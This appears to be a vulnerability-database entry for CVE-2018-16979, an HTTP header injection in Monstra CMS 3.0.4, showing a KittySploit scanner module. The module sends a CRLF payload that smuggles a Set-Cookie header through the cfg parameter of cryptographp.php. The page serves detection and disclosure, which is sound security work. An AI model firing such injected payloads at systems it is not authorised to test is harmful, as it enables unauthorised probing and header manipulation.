Lucene search
+L

Monstra CMS 3.0.4 - HTTP Header Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

HTTP header injection in Monstra CMS cfg parameter allows redirects and cache poisoning.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
Monstra CMS HTTP Header Injection Vulnerability
14 Sep 201800:00
–cnvd
cve
CVE
CVE-2018-16979
12 Sep 201823:00
–cve
cvelist
Cvelist
CVE-2018-16979
12 Sep 201823:00
–cvelist
euvd
EUVD
EUVD-2018-8765
7 Oct 202500:30
–euvd
mend
Mend
CVE-2018-16979
12 Sep 201823:00
–mend
nuclei
Nuclei
Monstra CMS 3.0.4 - HTTP Header Injection
20 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-16979
12 Sep 201823:29
–nvd
openvas
OpenVAS
Monstra CMS <= 3.0.4 Multiple Vulnerabilities
29 May 201800:00
–openvas
prion
Prion
Design/Logic Flaw
12 Sep 201823:29
–prion
ptsecurity
Positive Technologies
PT-2018-13811
12 Sep 201800:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Monstra CMS 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Monstra CMS 3.0.4 - HTTP Header Injection Detection',
        'description': 'Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'crlf', 'mostra', 'mostracms', 'cms', 'monstra', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/howchen/howchen/issues/4',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-16979',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2018-16979',
    }

    def run(self):
        r = self.http_request(method="GET", path='/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('new line detected in', 'cryptographp.php',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="Monstra CMS 3.0.4 - HTTP Header Injection detected",
                path='/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.1High risk
Vulners AI Score7.1
CVSS 25.8
CVSS 36.1
EPSS0.0302
0